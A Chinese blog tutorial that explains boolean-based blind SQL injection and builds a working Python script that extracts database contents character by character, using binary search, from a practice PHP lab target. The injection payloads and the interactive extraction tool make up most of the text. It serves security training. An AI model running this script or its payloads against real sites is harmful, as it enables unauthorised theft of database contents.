Python 安全开发 布尔盲注脚本

0x00 布尔盲注原理

布尔盲注应用于 页面只有响应为真,和响应为假的两种情况,无其他数据回显。

用到的函数有

length(str) 返回str字符串的长度
ascii(str) 返回str字符串的ascii编码
substr(str,start,len) 返回str字符串从start位开始len长度的字符串

流程

length($sql_exp)> $x 依次判断出 查询出的长度

ascii(substr(($sql_exp),$x,1))>$mid 依次判断出要查询的每位的ascii值

0x01脚本编写

以开普勒php开源靶场为例

  • 下载地址

      https://github.com/admin360bug/PHP
    

1.1用到的库

requests
有waf 还可以加 time

import requests

1.2判断页面响应

根据页面响应判断
有三种响应
登录成功 关键词 “login ok,success…”
登录失败 关键词 “登录失败”
空页面情况,其他情况

def check_res(res):
    if "success" in res.text:
        return True
    elif "登录失败" in res.text:
        return False
    else:
        return False

1.3判断返回字符串长度

因为不知道执行次数,就用while True循环(死循环),直到 sql语句执行失败的长度的临界值就为要查询的内容的长度eg: length(select version()) > 1 为True … length(select version()) > 5 为False 进入 if not check_res(res) 为真, break 终止while死循环。 得到 length 为 5

def res_length(exp):
    length = -1
    sess = requests.session()
    
    while True:
        sql_exp = "length((%s))>%d" % (exp,length)
        url = "http://www.bachang.com/index.php/Home/Index/SQL_tow?Username=0' or (%s) --+" % (sql_exp)
        res = sess.get(url)
        
        if not check_res(res):
            break
        length += 1
    return length

1.4 获取查询结果

通过二分法提高查询效率
eg: 以版本号 首尾为 5 测试 ascii(5)=53
在这里插入图片描述

先比较(0+127) 如果成立,比较 (63+127) //2 = 95 ,如果不成立 比较 (0+63)//2 = 31 依次类推

def res_result(exp, length):
    result = ""
    sess = requests.session()
    for i  in  range(length):
        left = 0 
        right = 127
        while True:
            mid = (left+right) // 2
            if mid == left:
                result += chr(right)
                break
            sql_exp = "ascii(substr((%s),%d,1))>%d" % (exp, i+1 , mid)
            url = "http://www.bachang.com/index.php/Home/Index/SQL_tow?Username=0' or (%s) --+" % (sql_exp)

            res = sess.get(url)
            if check_res(res):
                left = mid
            else:
                right = mid
    return result

1.5 主函数

写一个 while 循环 一直 可以输入命令

if __name__ == '__main__':
    while True:
        exp = input(">>>请输入SQL语句:")
        length = res_length(exp)
        print("[+]length :%d" % (length))
        result = res_result(exp, length)
        print("[+]result:%s" % (result))

在这里插入图片描述

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值